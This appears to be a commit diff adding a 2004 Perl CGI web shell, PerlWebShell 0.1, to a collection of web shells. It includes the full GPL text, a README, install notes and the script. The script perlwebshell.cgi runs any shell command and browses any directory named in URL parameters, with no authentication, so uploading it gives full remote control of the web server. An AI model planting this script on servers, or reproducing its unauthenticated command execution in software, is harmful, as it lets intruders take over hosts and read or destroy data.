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update perl
a old pl webshell
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4
pl/perlwebshell-0.1/AUTHORS
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4
pl/perlwebshell-0.1/AUTHORS
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|||
Main author: Florian Rossol <rossol@yola.in-berlin.de>
|
||||
|
||||
Thanks goes to Martin Geisler <gimpster@gimpster.com> who has written
|
||||
PhpShell (http://www.gimpster.com/wiki/PhpShell).
|
339
pl/perlwebshell-0.1/COPYING
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339
pl/perlwebshell-0.1/COPYING
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|
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|
|||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
|
||||
59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Library General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
Appendix: How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) 19yy <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) 19yy name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Ty Coon>, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Library General
|
||||
Public License instead of this License.
|
6
pl/perlwebshell-0.1/ChangeLog
Normal file
6
pl/perlwebshell-0.1/ChangeLog
Normal file
|
@ -0,0 +1,6 @@
|
|||
PerlWebShell 0.1
|
||||
|
||||
* Initial Release.
|
||||
|
||||
-- Florian Rossol <rossol@yola.in-berlin.de> Mon, 15 Mar 2004 22:37 +0100
|
||||
|
29
pl/perlwebshell-0.1/INSTALL
Normal file
29
pl/perlwebshell-0.1/INSTALL
Normal file
|
@ -0,0 +1,29 @@
|
|||
Installation instructions for PerlWebShell 0.1
|
||||
Copyright (C) 2004 Florian Rossol <rossol@yola.in-berlin.de>
|
||||
Copyright (C) 2000-2003 Martin Geisler <gimpster@gimpster.com>
|
||||
Licensed under the GNU GPL. See the file COPYING for details.
|
||||
|
||||
|
||||
Getting the tarball
|
||||
-------------------
|
||||
You can always get the latest version from here:
|
||||
|
||||
http://yola.in-berlin.de/perlwebshell/
|
||||
|
||||
|
||||
Installation
|
||||
------------
|
||||
Installation is easy: first unpack the tarball or zipfile into the
|
||||
CGI-directory of your webserver. This will create a subdirectory
|
||||
called perlwebshell-0.1.
|
||||
|
||||
You should use some password protection for the directory of
|
||||
PerlWebShell. Otherwise everybody out there can delete/modify your
|
||||
files.
|
||||
|
||||
Bugs?
|
||||
-----
|
||||
If you find a bug or miss something in PerlWebShell, please don't hesitate
|
||||
to mail me at <rossol@yola.in-berlin.de>!
|
||||
|
||||
Enjoy! - Florian Rossol <rossol@yola.in-berlin.de>
|
50
pl/perlwebshell-0.1/README
Normal file
50
pl/perlwebshell-0.1/README
Normal file
|
@ -0,0 +1,50 @@
|
|||
README for PerlWebShell 0.1
|
||||
Copyright (C) 2004 Florian Rossol <rossol@yola.in-berlin.de>
|
||||
Copyright (C) 2000-2003 Martin Geisler <gimpster@gimpster.com>
|
||||
Licensed under the GNU GPL. See the file COPYING for details.
|
||||
|
||||
What is PerlWebShell?
|
||||
------------------
|
||||
PerlWebShell is a shell wrapped in a Perl/CGI script. It's a tool you
|
||||
can use to execute arbitrary shell-commands or browse the filesystem
|
||||
on your remote webserver. This replaces, to a degree, a normal
|
||||
telnet-connection. You can use it for transferring your site as a
|
||||
compressed file, and then unpack it on the webserver, administration
|
||||
and maintenance of your website using commands like ps, free, du, df
|
||||
etc...
|
||||
|
||||
PerlWebShell is based on PhpShell
|
||||
(http://www.gimpster.com/wiki/PhpShell) from Martin Geisler. In fact
|
||||
it tries to be nearly the same with one little difference:
|
||||
PerlWebShell uses Perl/CGI instead of PHP (not difficult to guess
|
||||
cause of the name!). Also this README is based on Martins
|
||||
README. Thanks Martin for releasing PhpShell under the GNU GPL.
|
||||
|
||||
Limitations
|
||||
-----------
|
||||
There are some limitations on what kind of programs you can run. It
|
||||
won't do no good if you start something like Netscape or even vi. All
|
||||
programs have to be strictly command-line programs, and they will have
|
||||
no chance of getting user input after they have been lunched. They
|
||||
probably also have to terminate within some time, depending on the
|
||||
settings of your ISP.
|
||||
|
||||
But you can rely on all the normal shell-functionality, like pipes,
|
||||
output and input redirection, etc...
|
||||
|
||||
Who am I?
|
||||
---------
|
||||
You may not be the same user when using PerlWebShell, as you are when you
|
||||
upload your files with ftp. On some systems you will be 'nobody', on
|
||||
other systems you will become 'httpd' or 'www-data'. This is a rather
|
||||
dangerous "feature" of PerlWebShell! So use it at your own risk --- I
|
||||
wont be responsible if your account is closed or something like that
|
||||
happens.
|
||||
|
||||
How to use it
|
||||
-------------
|
||||
Point your browser to perlwebshell.cgi. The rest should be selfexplaining.
|
||||
|
||||
Download
|
||||
--------
|
||||
You can download PerlWebShell from http://yola.in-berlin.de/perlwebshell.
|
149
pl/perlwebshell-0.1/perlwebshell.cgi
Normal file
149
pl/perlwebshell-0.1/perlwebshell.cgi
Normal file
|
@ -0,0 +1,149 @@
|
|||
#!/usr/bin/perl
|
||||
|
||||
#
|
||||
# PerlWebShell 0.1
|
||||
#
|
||||
# PerlWebShell is an interactive CGI-script that will execute any
|
||||
# command entered. See the files README and INSTALL or
|
||||
# http://yola.in-berlin.de/perlwebshell/ for further information.
|
||||
#
|
||||
# Copyright (C) 2004 Florian Rossol <rossol@yola.in-berlin.de>
|
||||
# Copyright (C) 2000-2003 Martin Geisler <gimpster@gimpster.com>
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License
|
||||
# as published by the Free Software Foundation; either version 2
|
||||
# of the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You can get a copy of the GNU General Public License from this
|
||||
# address: http://www.gnu.org/copyleft/gpl.html#SEC1
|
||||
# You can also write to the Free Software Foundation, Inc., 59 Temple
|
||||
# Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
#
|
||||
|
||||
use CGI qw(:standard);
|
||||
use Cwd;
|
||||
use strict;
|
||||
|
||||
my $q = new CGI;
|
||||
my $command;
|
||||
my $cwd;
|
||||
my $fname;
|
||||
my $parent_dir;
|
||||
|
||||
if (param()) {
|
||||
$cwd = param('cwd');
|
||||
$command = param('command');
|
||||
}
|
||||
$cwd = getcwd() unless $cwd;
|
||||
chdir $cwd or die "can't chdir";
|
||||
$command = "ls -l" unless $command;
|
||||
open ("COMH", "$command |") or die "can't open: $!\n";
|
||||
|
||||
print "Content-type: text/html\n\n";
|
||||
print <<'EOHTML';
|
||||
<?xml version="1.0" encoding="iso-8859-1"?>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
||||
<head>
|
||||
EOHTML
|
||||
print "<title>shell.cgi ($ENV{'SERVER_NAME'})</title>";
|
||||
print <<'EOHTML';
|
||||
<style type="text/css">
|
||||
body {
|
||||
font-family: sans-serif;
|
||||
color: black;
|
||||
background: white;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: red;
|
||||
background: white;
|
||||
}
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
legend {
|
||||
font-weight: bold;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
EOHTML
|
||||
|
||||
my $abs_url = $q->url(-absolute=>1);
|
||||
|
||||
print h1("shell.cgi ($ENV{'SERVER_NAME'})");
|
||||
print $q->start_form(-method=>"get", -action=>$abs_url);
|
||||
|
||||
print "<fieldset><legend>Input</legend>",
|
||||
"<p>Current working directory: ";
|
||||
|
||||
$cwd = $cwd . "/" unless $cwd =~ /\/$/;
|
||||
if ($cwd =~ /(.*)\/(.*)\//) {
|
||||
$parent_dir = $1 . "/";
|
||||
}
|
||||
my @path = split('/', $cwd);
|
||||
shift(@path);
|
||||
my $tmp_path;
|
||||
print "<a href=\"$abs_url?cwd=/\">root</a>/";
|
||||
foreach (@path) {
|
||||
$tmp_path .= $_ . "/";
|
||||
print "<a href=\"$abs_url?cwd=/$tmp_path\">$_</a>/";
|
||||
}
|
||||
print "</p>\n";
|
||||
print "<p>Choose new working directory: \n",
|
||||
"<select name=\"cwd\" onchange=\"this.form.submit()\">\n";
|
||||
print "<option value=\"$cwd\" selected=\"selected\">Current Directory</option>\n";
|
||||
print "<option value=\"$parent_dir\">Parent Directory</option>\n";
|
||||
opendir("DH", $cwd) or die "can't opendir: $!\n";
|
||||
while (defined ($fname = readdir(DH))) {
|
||||
next if $fname =~ /^\.+$/;
|
||||
print "<option value=\"$cwd$fname/\">$fname</option>\n" if -d "$cwd/$fname";
|
||||
}
|
||||
print "</select></p>\n";
|
||||
|
||||
print q(<p>Command: <input type="text" name="command" size="60" /></p>);
|
||||
|
||||
#<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"
|
||||
# />
|
||||
print q(<input name="submit" type="submit" value="execute" /></p>);
|
||||
print "</fieldset>";
|
||||
|
||||
print "<fieldset><legend>Output ($command)</legend>";
|
||||
print q(<textarea cols="80" rows="20" readonly="readonly">) . "\n";
|
||||
foreach (<COMH>) {
|
||||
print $_;
|
||||
}
|
||||
print "</textarea></fieldset>";
|
||||
print $q->end_form();
|
||||
#
|
||||
print <<'EOHTML';
|
||||
<hr />
|
||||
<address>
|
||||
Copyright © 2004, <a
|
||||
href="mailto:rossol@yola.in-berlin.de">Florian Rossol</a>. Get the
|
||||
latest version at <a
|
||||
href="http://yola.in-berlin.de/perwebshell/">http://yola.in-berlin.de/perlwebshell/</a>.
|
||||
</address>
|
||||
<p>
|
||||
<a href="http://validator.w3.org/check/referer">
|
||||
<img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0 Strict!"
|
||||
height="31" width="88" />
|
||||
</a>
|
||||
<a href="http://jigsaw.w3.org/css-validator/check/referer">
|
||||
<img src="http://jigsaw.w3.org/css-validator/images/vcss"
|
||||
width="88" height="31"
|
||||
alt="Valid CSS!" />
|
||||
</a>
|
||||
</p>
|
||||
EOHTML
|
||||
|
||||
print $q->end_html();
|
Loading…
Reference in a new issue